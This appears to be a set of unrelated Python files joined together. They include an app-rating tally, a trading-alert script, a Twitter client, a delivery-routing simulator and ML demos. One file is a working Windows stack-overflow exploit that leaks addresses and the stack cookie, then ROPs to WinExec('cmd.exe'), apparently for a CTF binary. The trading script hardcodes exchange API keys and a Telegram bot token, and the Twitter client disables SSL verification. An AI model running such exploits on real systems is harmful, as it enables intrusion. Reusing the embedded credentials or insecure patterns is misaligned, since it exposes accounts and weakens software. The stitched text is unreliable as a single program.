import numpy as np
import pandas as pd
import json

game = 0
entertainment = 0
education = 0
photo = 0
utilities = 0
health = 0
productivity = 0
social = 0
life = 0
music = 0
shop = 0
sports = 0
book = 0
finance = 0
travel = 0
news = 0
weather = 0
reference = 0
food = 0
business = 0
navigation = 0
medical = 0
catalogs = 0

data_file = pd.read_csv('AppleStore.csv')
c = 1
box3 = []

box1 = data_file["prime_genre"].tolist()
box2 = data_file["user_rating"].tolist()
box2 = [str(i) for i in box2]
for x in box1:
    for y in box2[c::]:
        c += 1
        box3.append(x+y)
        break

for i in box3:
    if "Games" in str(i) and "2.0" in str(i):
        game += 1
    elif "Entertainment" in str(i) and "2.0" in str(i):
        entertainment += 1
    elif "Education" in str(i) and "2.0" in str(i):
        education += 1
    elif "Photo & Video" in str(i) and "2.0" in str(i):
        photo += 1
    elif "Utilities" in str(i) and "2.0" in str(i):
        utilities += 1
    elif "Health & Fitness" in str(i) and "2.0" in str(i):
        health += 1
    elif "Productivity" in str(i) and "2.0" in str(i):
        productivity += 1
    elif "Social Networking" in str(i) and "2.0" in str(i):
        social += 1
    elif "Lifestyle" in str(i) and "2.0" in str(i):
        life += 1
    elif "Music" in str(i) and "2.0" in str(i):
        music += 1
    elif "Shoping" in str(i) and "2.0" in str(i):
        shop += 1
    elif "Sports" in str(i) and "2.0" in str(i):
        sports += 1
    elif "Book" in str(i) and "2.0" in str(i):
        book += 1
    elif "Finance" in str(i) and "2.0" in str(i):
        finance += 1
    elif "Travel" in str(i) and "2.0" in str(i):
        travel += 1
    elif "News" in str(i) and "2.0" in str(i):
        news += 1
    elif "Weather" in str(i) and "2.0" in str(i):
        weather += 1
    elif "Reference" in str(i) and "2.0" in str(i):
        reference += 1
    elif "Food & Drink" in str(i) and "2.0" in str(i):
        food += 1
    elif "Business" in str(i) and "2.0" in str(i):
        business += 1
    elif "Navigation" in str(i) and "2.0" in str(i):
        navigation += 1
    elif "Medical" in str(i) and "2.0" in str(i):
        medical += 1
    elif "Catalogs" in str(i) and "2.0" in str(i):
        catalogs += 1

print("RATE 2.0")

print("Games :", game)
print("Entertainment :", entertainment)
print("Education :", education)
print("Photo & Video :", photo)
print("Utilities :", utilities)
print("Health & Fitness :", health)
print("Productivity :", productivity)
print("Social Networking :", social)
print("Lifestyle :", life)
print("Music :", music)
print("Shoping :", shop)
print("Sports :", sports)
print("Book :", book)
print("Finance :", finance)
print("Travel :", travel)
print("News :", news)
print("Weather :", weather)
print("Reference :", reference)
print("Food & Drink :", food)
print("Business :", business)
print("Navigation :", navigation)
print("HMedical :", medical)
print("Catalogs :", catalogs)

print("Max :", max(game, entertainment, education, photo, utilities, health\
          , productivity, social, life, music, shop, sports\
          , book, finance, travel, travel, news, weather, reference\
          , food, business, navigation, medical, catalogs))


"""
    exp tested in windows 10 pro(19041.508)
    just rop to ucrtbase!system("cmd.exe") or kernel32!winexec("cmd.exe",1)
"""
from winpwn import *
ru=lambda s:p.recvuntil(s)
rl=lambda :p.recvline()
rul=lambda s:p.recvuntil(s+'\n')
sl=lambda s:p.sendline(str(s))
sd=lambda s:p.send(str(s))
rn=lambda n:p.recvn(n)

def run(ip=None,port=None):
    global p,is_debug
    if ip and port:
        is_debug=False
        p=remote(ip,port)
    elif libpath and binarypath:
        p=process(binarypath,env={'LD_PRELOAD':libpath})
    else:
        p=process(binarypath)
def debugf(s=''):
    if is_debug:
        windbgx.attach(p,s)

def exp(ip=None,port=None):
    global p
    run(ip=ip,port=port)
    ru("input:\r\n")
    sd("a"*0x118)
    ru("buffer:\r\n")
    rn(0x118)
    binbase=u64(rn(6).ljust(8,"\x00"))-0x12f4
    print(hex(binbase))
    ru("input:\r\n")
    sd("a"*0x158)
    ru("buffer:\r\n")
    rn(0x158)
    kernel32_base=u64(rn(6).ljust(8,'\x00'))-0x16fd4
    winexec=0x65fc0+kernel32_base
    p.close()

    p=process("./StackOverflow.exe")
    ru("input:\r\n")
    sd("a"*0x100)
    ru("buffer:\r\n")
    rn(0x100)

    call_rcx=kernel32_base+0x33711
    pop_rbp_ret=binbase+0x17ee
    call_puts=binbase+0x109B
    pop_rcx_ret=0x77e01+kernel32_base
    pop_rdx_ret=kernel32_base+0x24ea2
    mov_into_rdx_rcx_ret=kernel32_base+0x166af
    print(hex(binbase),hex(kernel32_base),hex(winexec),hex(pop_rcx_ret),hex(call_rcx))
    cookie=u64(rn(6).ljust(8,'\x00'))
    payload=("a"*0x100+p64(cookie)).ljust(0x110,"b")+p64(0)
    payload+=p64(pop_rdx_ret)+p64(binbase+0x3ff0)+p64(pop_rcx_ret)+"cmd.exe\x00"+p64(mov_into_rdx_rcx_ret)
    payload+=p64(pop_rcx_ret)+p64(binbase+0x3ff0)+p64(pop_rdx_ret)+p64(1)+p64(winexec)
    ru("input:\r\n")
    sd(payload)
    ru("input:\r\n")
    sd(payload)
    p.interactive()

context.log_level="debug"
context.arch="amd64"
context.aslr=True
p=None
libpath=None
binarypath=["./StackOverflow.exe"]
is_debug=True
exp()


from binance.client import Client
import pandas as pd
import os

import numpy as np
import sys, getopt
import time
from datetime import datetime
import json
from sys import maxsize
from numpy import set_printoptions
from pymongo import MongoClient, DESCENDING, ASCENDING
from prettytable import PrettyTable
from ansimarkup import ansiprint as print
from pyfiglet import Figlet
import operator
import argparse
import json
import telegram

def notify(title, text):
    os.system("""
              osascript -e 'display notification "{}" with title "{}"'
              """.format(text, title))

def notify_ending(message):

    token = "1664179275:AAHSNRalCCJmfHrnpm0GnijgUbbH38u41vw"
    chat_id = "-514290409"

    bot = telegram.Bot(token=token)
    bot.sendMessage(chat_id=chat_id, text=message)

client = MongoClient('localhost',27017)

db = client.Binance
wallet = db.wallet

f = Figlet(font='slant')

set_printoptions(threshold=maxsize)

client = Client('4LdqnhvqK0rg5f4KKIPpfhAdD9PG7fKF4ssNHqWazHL0GepGjTPXKhmUFz2Db8oG', 'ua55ROqNp0CbohbcrL5McfZg7ALr6wlxRS9Kc43feGfKWn3Bv6M6XggONjhlqXYG')
# client = Client('0o8vTST2w4uH5cOfwoGhBqFySy04jFHGQ9yHZHdESFFpyCWQDCnH9aaJSekVfDGq', 'PTdpxSlAFsbnY5Qn3djGvKWO2MPJF7wNpnSTdE7XWhQ0JIxODp5c18BC1MYfCZOn')

parser = argparse.ArgumentParser()

parser.add_argument("--update", "-u", help="Binance wallet update")
parser.add_argument("--wallet", "-l", help="Binance wallet watch")

parser.add_argument("--sort", "-o", help="neye göre sıralanacak?")
parser.add_argument("--reverse", "-r", help="reverse sorting?")
parser.add_argument("--watch", "-w", help="custom takip listesi")

parser.add_argument("--buy", "-b", help="gerçek alım eklenir")
parser.add_argument("--sell", "-s", help="gerçek satış eklenir")
# parser.add_argument('--foo', type=float, choices=[Range(0.0, 1.0)])

parser.add_argument("--price", "-p", help="gerçek alım/satım fiyatı fiyatı")

args = parser.parse_args()

if args.watch:
    custom_watch_list = args.watch.split(',')

def binanceWalletList():
    prices = client.get_all_tickers()
    # Table = PrettyTable(['ID','Asset', 'Total Buy Price', 'Total Current Price', 'Percentage'])
    Table = PrettyTable(['ID','Asset', 'Percentage', 'Total Buy Price', 'Total Current Price', 'Profit'])

    acc = client.get_account()
    # balances = acc['balances']
    balances = wallet.find({})

    count = 0
    total_percantage = 0
    for balance in balances:
        count = count +1
        symbol = "{}USDT".format(balance['asset'])
        trades = client.get_my_trades(symbol=symbol)

        buy_price = float(balance['buy_price'])
        qty = float(balance['qty'])

        for trade in trades:
            buy_price = float(trade['price'])
            total_buy_price = qty * buy_price

        for price in prices:
            if (price['symbol'] == symbol):
                current_price = float(price['price'])
                total_current_price = qty * current_price

        percentage = ((total_current_price-total_buy_price)/total_current_price)*100
        total_percantage = total_percantage + percentage

        if (total_buy_price >= 10):
            if percentage > 5:
                # print("{} - {}".format(balance['asset'], percentage))
                control(balance['asset'])

    if args.sort:
        Table.sortby = args.sort
    if args.reverse:
        if args.reverse in ("True"):
            Table.reversesort = True
        if args.reverse in ("False"):
            Table.reversesort = False

def control(asset):
    symbol = "{}USDT".format(asset)
    Prices = client.get_all_tickers()
    for price in Prices:
        if (price['symbol'] == symbol):
            current_price = float(price['price'])

    binanceWallet = wallet.find_one({'asset': asset})
    # try:
    if (binanceWallet['updated_price'] != 0):
        updated_price_new_array = []
        wallet_updated_price = binanceWallet['updated_price']
        total_wallet_updated_price = 0

        for u_price in wallet_updated_price:
            updated_price_new_array.append(float(u_price))
            total_wallet_updated_price += float(u_price)

        updated_price_new_array.append(current_price)
        total_wallet_updated_price += current_price

        average_of_updated_prices = total_wallet_updated_price / len(updated_price_new_array)
        last_updated_price = updated_price_new_array[len(updated_price_new_array)-1]

        if len(updated_price_new_array) >= 5:
            if (average_of_updated_prices < last_updated_price):
            # if (average_of_updated_prices - ((average_of_updated_prices/100)*20) > last_updated_price):
                print("<blue>Binance Wallet Sat Sinyali</blue> ")
                print("<green>Ortalama düştü</green>")
                print("{} <red>⬇</red>".format(asset))
                notify_ending("{} Satış Sinyali".format(asset))
            else:
                print("{} <blue>⬆</blue>".format(asset))
                condition = { "asset": asset }
                update_data = { "$set": { "updated_price": updated_price_new_array } }
                wallet.update_one(condition, update_data)

        else:
            print("{} <blue>⬆</blue>".format(asset))
            condition = { "asset": asset }
            update_data = { "$set": { "updated_price": updated_price_new_array } }
            wallet.update_one(condition, update_data)

    else:
        updated_price_init = []
        try:
            updated_price_init.append(current_price)
        except:
            updated_price_init.append(0)
            pass
        condition = { "asset": asset }
        update_data = { "$set": { "updated_price": updated_price_init } }
        wallet.update_one(condition, update_data)
        pass

i = 0
while i >= 0:
    i+=1
    binanceWalletList()
    print('---------------')
    time.sleep(2)


import json
import ssl
import urllib.error

from Web_Services import twurl

# https://apps.twitter.com/
# Create App and get the four strings, put them in hidden.py
TWITTER_URL = 'https://api.twitter.com/1.1/friends/list.json'

# Ignore SSL certificate errors
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

while True:
    print('')
    acct = input('Enter Twitter Account:')
    if(len(acct) < 1): break
    url = twurl.augment(TWITTER_URL,
                        {'screen_name': acct, 'count': '5'})
    print('Retrieving', url)
    connection = urllib.request.urlopen(url, context=ctx)
    data = connection.read().decode()

    js = json.loads(data)
    print(json.dumps(js, indent=2))

    headers = dict(connection.getheaders())
    print('Remaining', headers['x-rate-limit-remaining'])

    for u in js['users']:
        print(u['screen_name'])
        if 'status' not in u:
            print('   * No status found')
            continue
        s = u['status']['text']
        print('  ', s[:50])
'''
Enter Twitter Account:drchuck
Retrieving https://api.twitter.com/1.1/friends ...
Remaining 14
{
    "next_cursor": 1444171224491980205,
        "users": [
        {
        "id": 662433,
        "followers_count": 28725,
        "status": {
"text": "@jazzychad I just bought one .__.", "created_at": "Fri Sep 20 08:36:34 +0000 2013", "retweeted": false,
        },
        "location": "San Francisco, California",
        "screen_name": "leahculver",
        "name": "Leah Culver",
}, {
],
"id": 40426722,
"followers_count": 2635,
"status": {
    "text": "RT @WSJ: Big employers like Google ...",
    "created_at": "Sat Sep 28 19:36:37 +0000 2013",
},
"location": "Victoria Canada",
"screen_name": "_valeriei",
"name": "Valerie Irvine",
    "next_cursor_str": "1444171224491980205"
}
leahculver
   @jazzychad I just bought one .__.
_valeriei
   RT @WSJ: Big employers like Google, AT&T are h
ericbollens
   RT @lukew: sneak peek: my LONG take on the good &a
halherzog
   Learning Objects is 10. We had a cake with the LO,
scweeker
   @DeviceLabDC love it! Now where so I get that "etc
Enter Twitter Account:
'''


# -*- coding: utf-8 -*-

#from scipy.stats import poisson
import operator
import itertools
from Class import Task
from Basic_Func import RouteTime, distance, FLT_Calculate, ActiveRiderCalculator, WillingtoWork
from Bundle_Func import BundleConsist
import numpy as np
import random
import copy
import time
import math

def CountActiveRider(riders, t, min_pr = 0, t_now = 0):
    """
    현대 시점에서 t 시점내에 주문을 선택할 확률이 min_pr보다 더 높은 라이더를 계산
    @param riders: RIDER CLASS DICT
    @param t: t시점
    @param min_pr: 최소 확률(주문 선택확률이 min_pr 보다는 높아야 함.)
    @return: 만족하는 라이더의 이름. LIST
    """
    names = []
    for rider_name in riders:
        rider = riders[rider_name]
        if ActiveRiderCalculator(rider, t_now, option = 'test') == True and rider.select_pr(t) >= min_pr:
            names.append(rider_name)
    return names

def WeightCalculator(riders, rider_names, sample_size = 1000):
    """
    시뮬레이션을 활용해서, t_i의 발생 확률을 계산함.
    @param riders: RIDER CLASS DICT
    @param rider_names: active rider names list
    @param sample_size: 포아송 분포 샘플 크기
    @return: w = {KY : ^_t_i ELE : ^_t_i가 발생할 확률}
    """
    w = {}
    ava_combinations = list(itertools.permutations(rider_names, len(rider_names))) # 가능한 조합
    count = {}
    for info in ava_combinations:
        #print(info)
        #input('확인')
        count[info] = 0
    poisson_dist = {}
    for rider_name in rider_names:
        rider = riders[rider_name]
        mu = rider.search_lamda
        if mu not in poisson_dist:
            poisson_dist[mu] = np.random.poisson(mu, sample_size)
            #poisson_ = poisson(mu)# 분포 추정
            #poisson_dist[mu] = poisson_.rvs(sample_size)  # 추정한 분포 기반 Sample 1000개 생성
    for _ in range(sample_size):
        tem = []
        for rider_name in rider_names:
            rider = riders[rider_name]
            val = random.choice(poisson_dist[rider.search_lamda])
            tem.append([rider_name, val])
        tem.sort(key = operator.itemgetter(1))
        seq = []
        for info in tem:
            seq.append(info[0])
        count[tuple(seq)] += 1
    for key in count:
        if count[key] > 0:
            w[key] = round(count[key]/sample_size,6)

    return w

def Calculate_e_b(stores, riders, infos, t_now):
    # todo : t시점이 흐르고 난 다음의 e_b가 계산되어야 함.
    e_b = []
    for store_name in stores:
        store = stores[store_name]
        for info in infos:
            rider = riders[info[0]]
            print('가게 {} 대기 중 고객 수 {}'.format(store.name, len(store.received_orders)))
            val = len(store.received_orders)*distance(rider.CurrentLoc(t_now), store.location)
            e_b.append(val)
    return round(sum(e_b),4)

def Calculate_e_b2(orders, stores, riders, infos, t_now):
    # todo : t시점이 흐르고 난 다음의 e_b가 계산되어야 함.
    e_b = []
    res = []
    for store_name in stores:
        res.append(0)
    for customer_name in orders:
        customer = orders[customer_name]
        if customer.time_info[4] == None:
            res[customer.store] += 1
    for info in infos:
        rider = riders[info[0]]
        for store_name in stores:
            store = stores[store_name]
            received_order_num = res[store_name]
            val = received_order_num * distance(rider.CurrentLoc(t_now), store.location)
            e_b.append(val)
            #print('가게 {} 대기 중 고객 수 {}'.format(store.name, len(store.received_orders)))
    return round(sum(e_b),4)

def Calculate_d_b(riders, states , t_now):
    # todo : t시점이 흐르고 난 다음의 d_b가 계산되어야 함.
    d_b = []
    for info in states:
        rider = riders[info[0]]
        val = WillingtoWork(rider, t_now)
        d_b.append(val)
    # state가 주어졌을 때의 d_b를 계산
    return round(sum(d_b),4)

def BundleScoreSimulator(riders, platform, orders, stores, w, t, t_now):
    # 매 번들 마다 수행해야함.
    e = []
    d = []
    # 라이더가 t_i의 순서대로 주문을 선택할 때, 선택할 주문을 선택
    for seq in w:
        tem = []
        for rider_name in seq:
            rider = riders[rider_name]
            current_loc = rider.CurrentLoc(t_now)
            #print('가짜', t_now)
            select_order_name = rider.OrderSelect(platform, orders, current_loc = current_loc)
            tem.append([rider_name, select_order_name])
        #e_b_bar = Calculate_e_b(stores, riders, tem, t_now)
        e_b_bar = Calculate_e_b2(orders, stores, riders, tem, t_now) #todo : 함수 수정
        d_b_bar = Calculate_d_b(riders, tem, t_now)
        e.append(w[seq]*e_b_bar)
        d.append(w[seq]*d_b_bar)
        #print('라이더 순서 {} W {} e {} d {}'.format(seq,w[seq],e_b_bar,d_b_bar))
        #라이더의 주문 선택 시뮬레이터
    return round(sum(e),4), round(sum(d),4)

def MIN_OD_pair(orders, q,s,):
    # 1 OD-pair 계산
    Q = itertools.permutations(q, s)  # 기존 OD pair의 가장 짧은 순서를 결정 하기 위함.
    OD_pair_dist = []
    for seq in Q:
        route_dist = 0
        tem_route = []
        for name in seq:
            tem_route += [orders[name].store_loc, orders[name].location]
        for index in range(1, len(tem_route)):
            before = tem_route[index - 1]
            after = tem_route[index]
            route_dist += distance(before, after)
        OD_pair_dist.append(route_dist)
    return min(OD_pair_dist)

def ParetoDominanceCount(datas, index, score_index1, score_index2, result_index, strict_option = False):
    """
    주어진 데이터에 대해 ParetoDominanceCount를 수행.
    @param datas: 대상이 되는 리스트
    @param index: 리스트 내의 이름-id- index
    @param score_index1: 점수 1
    @param score_index2: 점수 2
    @param result_index: datas에서 결과가 저장되는 index
    @param strict_option: pareto dominance count에서 dominance가 <=(False) or <(True) 인지
    @return: datas
    """
    count = 0
    for base_data in datas:
        dominance_count = 0
        for data in datas:
            #print(base_data, data)
            #input('확인')
            if base_data[index] != data[index]:
                if strict_option == True:
                    if base_data[score_index1] < data[score_index1] and base_data[score_index2] < data[score_index2]:
                        dominance_count += 1
                else:
                    if base_data[score_index1] <= data[score_index1] and base_data[score_index2] <= data[score_index2]:
                        dominance_count += 1
        datas[count][result_index] = dominance_count
        #input('확인')
        count += 1
    datas.sort(key = operator.itemgetter(result_index), reverse = True)
    return datas

def BundleConsideredCustomers(target_order, platform, riders, customers, speed = 1, bundle_search_variant = True, d_thres_option = True):
    not_served_ct_name_cls = {}
    not_served_ct_names = [] #번들 구성에 고려될 수 있는 고객들
    in_bundle_names = []
    for order_index in platform.platform:
        order = platform.platform[order_index]
        if order.type == 'bundle':
            in_bundle_names.append(order.customers)
    for customer_name in customers:
        customer = customers[customer_name]
        if customer.time_info[1] == None and customer.time_info[2] == None:
            if customer.type == 'single_order' and customer_name not in in_bundle_names:
                pass
            else:
                if bundle_search_variant == True:
                    pass
                else:
                    continue
            if d_thres_option == False:
                d_thres = 1000
            else:
                d_thres = customer.p2
            dist = distance(target_order.store_loc, customer.store_loc) / speed
            if target_order.name != customer.name and dist <= d_thres:
                not_served_ct_names.append(customer_name)
                not_served_ct_name_cls[customer_name] = customer
    current_in_bundle = []
    current_in_single = []
    for order_index in platform.platform:
        order = platform.platform[order_index]
        if order.type == 'bundle':
            current_in_bundle += platform.platform[order_index].customers
        else:
            current_in_single += platform.platform[order_index].customers
    rider_on_hand = []
    rider_finished = []
    for rider_name in riders:
        rider = riders[rider_name]
        rider_on_hand += rider.onhand
        rider_finished += rider.served
    res = {}
    for ct_name in not_served_ct_names:
        if ct_name in rider_on_hand + rider_finished:
            input('ERROR {} :: 고려 고객 {} 제외1 {} 제외 2 {}'.format(ct_name, not_served_ct_names, rider_on_hand, rider_finished))
        else:
            res[ct_name] = customers[ct_name]
    res[target_order.name] = target_order
    return res

def SelectByTwo_sided_way2(target_order, riders, orders, stores, platform, p2, t, t_now, min_pr, thres = 0.1, speed = 1, bundle_permutation_option = False, unserved_bundle_order_break = True, s = 3, scoring_type = 'myopic',input_data = None, input_weight = None):
    """
    주어진 feasible bundle(혹은 target order를 기준으로 탐색된 feasible bundle)에
    대해서 s,e,d 점수가 높은 번들을 선택 후 제안.
    @param target_order: 탐색의 기준이 되는 주문
    @param riders: RIDER CLASS DICT
    @param orders: CUSTOMER CLASS DICT
    @param stores: STORE CLASS DICT
    @param platform: PLATFORM CLASS DICT
    @param p2: max FLT(고객 시간 제한)
    @param t:다음 주문이 발생할 것으로 예상되는 시간 간격
    @param t_now: 현재 시간
    @param min_pr: 라이더 주문 탐색 확률 최솟 값(이 값보다 확률이 작은 경우는 계산에 고려X)
    @param speed: 차량 속도
    @param bundle_search_variant: 번들 탐색시 대상이 되는 고객들 결정 (True : 기존에 번들의 고객들은 고려 X , False : 기존 번들의 고객도  고려)
    @param s: 고려되는 번들 크기 default = 3
    @param input_data: feasible_bundles을 외부에서 계산하는 경우에 데이터 입력
    @return:
    """
    if input_data == None:
        print('대상 고객 이름 {} 대상 수 {}'.format(target_order.name, len(orders)))
        B3 = ConstructFeasibleBundle_TwoSided(target_order, orders, s, p2, speed=speed, bundle_permutation_option = bundle_permutation_option)
        B2 = ConstructFeasibleBundle_TwoSided(target_order, orders, s - 1, p2, speed=speed,bundle_permutation_option=bundle_permutation_option)
        feasible_bundles = B2 + B3
        if len(feasible_bundles) > 0:
            comparable_b = []
            feasible_bundles.sort(key=operator.itemgetter(6))  # s_b 순으로 정렬  #target order를 포함하는 모든 번들에 대해서 s_b를 계산.
            b_star = feasible_bundles[0][6]
            for ele in feasible_bundles:
                if (ele[6] - b_star) / b_star <= thres:  # percent loss 가 thres 보다 작아야 함.
                    comparable_b.append(ele)
            feasible_bundles = comparable_b
        print('input_data == None :: ## {}'.format(len(feasible_bundles)))
    else:
        feasible_bundles = input_data
        print('input_data != None')
    count = 0
    scores = []
    print('대상 번들들 {}'.format(feasible_bundles))
    if input_weight == None:
        active_rider_names = CountActiveRider(riders, t, min_pr=min_pr, t_now=t_now)
        weight = WeightCalculator(riders, active_rider_names)
        w_list = list(weight.values())
        try:
            input('T {} / 대상 라이더 수 {}/시나리오 수 {} 중 {} / w평균 {} /w표준편차 {}'.format(t_now,len(active_rider_names),math.factorial(len(active_rider_names)),len(weight), np.average(w_list), np.std(w_list)))
        except:
            input('T {} 출력 에러'.format(t_now))
    else:
        weight = input_weight
    for feasible_bundle in feasible_bundles:
        s = feasible_bundle[6]
        e_pool = []
        d_pool = []
        e = 0
        d = 0
        if scoring_type == 'two_sided':
            try:
                e,d = Two_sidedScore(feasible_bundle, riders, orders, stores, platform, t, t_now, min_pr, M=1000, sample_size=1000, weight = weight)
                e_pool.append(e)
                d_pool.append(d)
            except:
                e = 1000000
                d = 1000000
                pass
        scores.append([count, s,e,d,0])
        count += 1
    scores.sort(key = operator.itemgetter(1), reverse = True)
    if scoring_type == 'myopic':
        sorted_scores = scores
    else:
        sorted_scores = ParetoDominanceCount(scores, 0, 2, 3, 4, strict_option = False)
        print('scored datas :: {}'.format(sorted_scores))
    if len(feasible_bundles) > 0:
        res = feasible_bundles[sorted_scores[0][0]] + sorted_scores[0][1:4] + [0]
        return res
    else:
        return None

def ConstructFeasibleBundle_TwoSided(target_order, orders, s, p2, thres = 0.05, speed = 1, bundle_permutation_option = False, uncertainty = False, platform_exp_error = 1):
    """
    Construct s-size bundle pool based on the customer in orders.
    And select n bundle from the pool
    Required condition : customer`s FLT <= p2
    :param new_orders: new order genrated during t_bar
    :param orders: userved customers : [customer class, ...,]
    :param s: bundle size: 2 or 3
    :param p2: max FLT
    :param speed:rider speed
    :parm option:
    :parm uncertainty:
    :parm platform_exp_error:
    :parm bundle_search_variant: 번들 탐색시 대상이 되는 고객들 결정 (True : 기존에 번들의 고객들은 고려 X , False : 기존 번들의 고객도  고려)
    :return: constructed bundle set
    """
    d = []
    for customer_name in orders:
        if customer_name != target_order.name:
            d.append(customer_name)
    print('대상 고객 {} 고려 고객들 {} '.format(target_order.name, d))
    if len(d) > s - 1:
        M = itertools.permutations(d, s - 1)
        b = []
        for m in M:
            #print(list(m))
            q = list(m) + [target_order.name]
            subset_orders = []
            time_thres = 0 #3개의 경로를 연속으로 가는 것 보다는
            for name in q:
                subset_orders.append(orders[name])
                time_thres += orders[name].distance/speed
            #print('확인 1 {} : 확인2 {}'.format(subset_orders, time_thres))
            tem_route_info = BundleConsist(subset_orders, orders, p2, speed = speed, bundle_permutation_option= bundle_permutation_option, time_thres= time_thres, uncertainty = uncertainty, platform_exp_error = platform_exp_error, feasible_return = True)
            if len(tem_route_info) > 0:
                OD_pair_dist = MIN_OD_pair(orders, q, s)
                for info in tem_route_info:
                    info.append((OD_pair_dist - info[5] / s))
            b += tem_route_info
        #print('경우의 수 {} 가능 번들 수 {} : 정보 d {} s {}'.format(len(list(M)), len(b), d, s))
        comparable_b = []
        if len(b) > 0:
            b.sort(key=operator.itemgetter(6))  # s_b 순으로 정렬  #target order를 포함하는 모든 번들에 대해서 s_b를 계산.
            b_star = b[0][6]
            for ele in b:
                if (ele[6] - b_star)/b_star <= thres: #percent loss 가 thres 보다 작아야 함.
                    comparable_b.append(ele)
        return comparable_b
    else:
        return []

def Two_sidedScore(bundle, riders, orders, stores, platform, t, t_now, min_pr , M = 1000, sample_size=1000, platform_exp_error = 1, weight = None):
    if weight == None:
        active_rider_names = CountActiveRider(riders, t, min_pr=min_pr, t_now = t_now)
        p_s_t = WeightCalculator(riders, active_rider_names, sample_size=sample_size)
    else:
        p_s_t = weight
    w_list = []
    for p in p_s_t:
        #w_list.append(p[1])
        w_list.append(p_s_t[p])
    print('시나리오 수 {} / w평균 {} /w표준편차 {}'.format(len(p_s_t), np.average(w_list), np.std(w_list)))
    #print('T: {} 길이 {} 평균 {} 분산 {}'.format(t_now, len(p_s_t), np.average(w_list), np.var(w_list)))
    #input('w 확인')
    mock_platform = copy.deepcopy(platform)
    mock_index = max(mock_platform.platform.keys()) + 1
    route = []
    for node in bundle[0]:
        if node >= M:
            customer_name = node - M
            customer = orders[customer_name]
            route.append([customer_name, 0, customer.store_loc, 0])
        else:
            customer_name = node
            customer = orders[customer_name]
            route.append([customer_name, 1, customer.location, 0])
    fee = 0
    for customer_name in bundle[4]:
        fee += orders[customer_name].fee  # 주문의 금액 더하기.
        orders[customer_name].in_bundle_time = t_now
        pool = np.random.normal(customer.cook_info[1][0], customer.cook_info[1][1] * platform_exp_error, 1000)
        orders[customer_name].platform_exp_cook_time = random.choice(pool)
    o = Task(mock_index, bundle[4], route, 'bundle', fee=fee)
    o.average_ftd = bundle[2]
    mock_platform.platform[mock_index] = o #가상의 번들을 추가.
    e,d = BundleScoreSimulator(riders, mock_platform, orders, stores, p_s_t, t, t_now)
    return e,d


import logging

def _getsecret(secret):
    with open("/var/openfaas/secrets/%s" % secret, 'r') as secretfile:
        secret_line = secretfile.readline()
    return secret_line

class HealthCheckFilter(logging.Filter):
    def filter(self, record):
        return not (record.name == 'batcher.rmqbatcher' and 'GET /_/health HTTP/1.1' in record.msg)

def _setup_logging():
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)

    ch = logging.StreamHandler()
    ch.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))
    ch.addFilter(HealthCheckFilter())

    logger.addHandler(ch)


meeting = []
sum = 1
count = int(input())
for i in range(count):
    meeting.append(list(map(int, input().split())))
meeting.sort(key=lambda list: (list[1], list[0]))
default = meeting[0]
for i in range(1, count):
    if default[1] <= (meeting[i])[0]:
        sum += 1
        default = meeting[i]

print(sum)


from xgboost import XGBRegressor, plot_importance
from sklearn.datasets import load_breast_cancer
from sklearn.model_selection import train_test_split
from sklearn.metrics import r2_score

import matplotlib.pyplot as plt

dataset = load_breast_cancer()

# x = dataset.data
# y = dataset.target

x, y = load_breast_cancer(return_X_y=True)

print(x.shape)
print(y.shape)

x_train,x_test, y_train, y_test = train_test_split(x, y, train_size = 0.96, shuffle = 'True', random_state = 16)

model = XGBRegressor( n_estimators = 300 , learning_rate = 0.1)

model.fit(x_train, y_train, verbose = True, eval_metric = ["logloss","rmse"],
                                            eval_set = [(x_train,y_train), (x_test,y_test)],
                                            early_stopping_rounds = 20)

 # eval_metric => rmse, mae, logloss, error, auc, roc

results = model.evals_result()

# print("eval's result : ", results)

y_pred = model.predict(x_test)

r2 = r2_score(y_pred, y_test)

print("R2 score : %.2ff%%" %(r2*100.0))

epochs = len(results['validation_0']['logloss'])
x_axis = range(0, epochs)

fig, ax = plt.subplots()
ax.plot  (x_axis,  results['validation_0']['logloss'], label = 'Train')
ax.plot  (x_axis,  results['validation_0']['logloss'], label = 'Test')
ax.legend()
plt.ylabel('Log Loss')
plt.title('XGBoost Log Loss')

fig, ax = plt.subplots()
ax.plot  (x_axis,  results['validation_0']['rmse'], label = 'Train')
ax.plot  (x_axis,  results['validation_0']['rmse'], label = 'Test')
ax.legend()
plt.ylabel('RMSE')
plt.title('XGBoost RMSE')

plt.show()


#!python3
import sys
import setup # local module
# usage handle
if len(sys.argv)!=2:
    sys.exit("Usage: python {} <all.qc.xls>".format(sys.argv[0]))
qcfile = sys.argv[1]
# setup django env
setup.init()

from samplequery import saveQC

with open(qcfile) as q:
    for line in q.readlines():
        if 'Sample' in line:
            continue
        if line.strip() == '':
            continue
        try:
            saveQC.saveqc(line.strip())
        except ValueError as e:
            print(e)
        except:
            print("Something goes wrong for %s" %line.split('\t')[0])
        else:
            print("qc for %s saved" %line.split('\t')[0])


import socket

def main():
    # 创建套接字 socket
    tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 绑定本地信息
    tcp_server_socket.bind(("", 7718))
    # 设为响铃模式 套接字由主动变为被动
    tcp_server_socket.listen(128)
    while True:  # 循环为多个客户服务
        # 等待客户端的连接
        print("等待一个新的客户端到来")
        new_client_sockeet,client_adrr = tcp_server_socket.accept()
        print("一个客户端已经连接")
        # print(client_adrr)
        while True:  # 循环为一个客户服务多次
            # 接收客户端发送来的请求
            recv_data = new_client_sockeet.recv(1024)
            print("客户端发送来的请求是%s" % recv_data.decode("utf-8"))
            if recv_data:
                # 回送一部分数据给客户端
                new_client_sockeet.send("hahhahah".encode("utf-8"))
            else:
                break

        # 关闭套接字
        new_client_sockeet.close()
        print("已经为这个客户端服务完毕了")
    tcp_server_socket.close()

if __name__ == '__main__':
    main()


import math
import random
import sys
import numpy as np

class Particle:
    def __init__(self,id,isRan=True,x=0,y=0,dt=0.00005, num_particle=100):
        self.id = id
        self.lattice = {"size" :math.sqrt(num_particle)+2.5,"half":num_particle/2}
        if isRan:
            self.x = random.uniform(-self.lattice["size"]/2,self.lattice["size"]/2)
            self.y = random.uniform(-self.lattice["size"]/2,self.lattice["size"]/2)
        else:
            self.x = x
            self.y = y
        self.ux = 0
        self.uy = 0
        self.mass = 1
        self.force = np.zeros([1,2])
        self.potential = 0
        self.cell = None
        self.dt = dt
        self.interacted = list()
        self.spring_interacted = list()

    def motion_equation(self):
        #Equations of motion
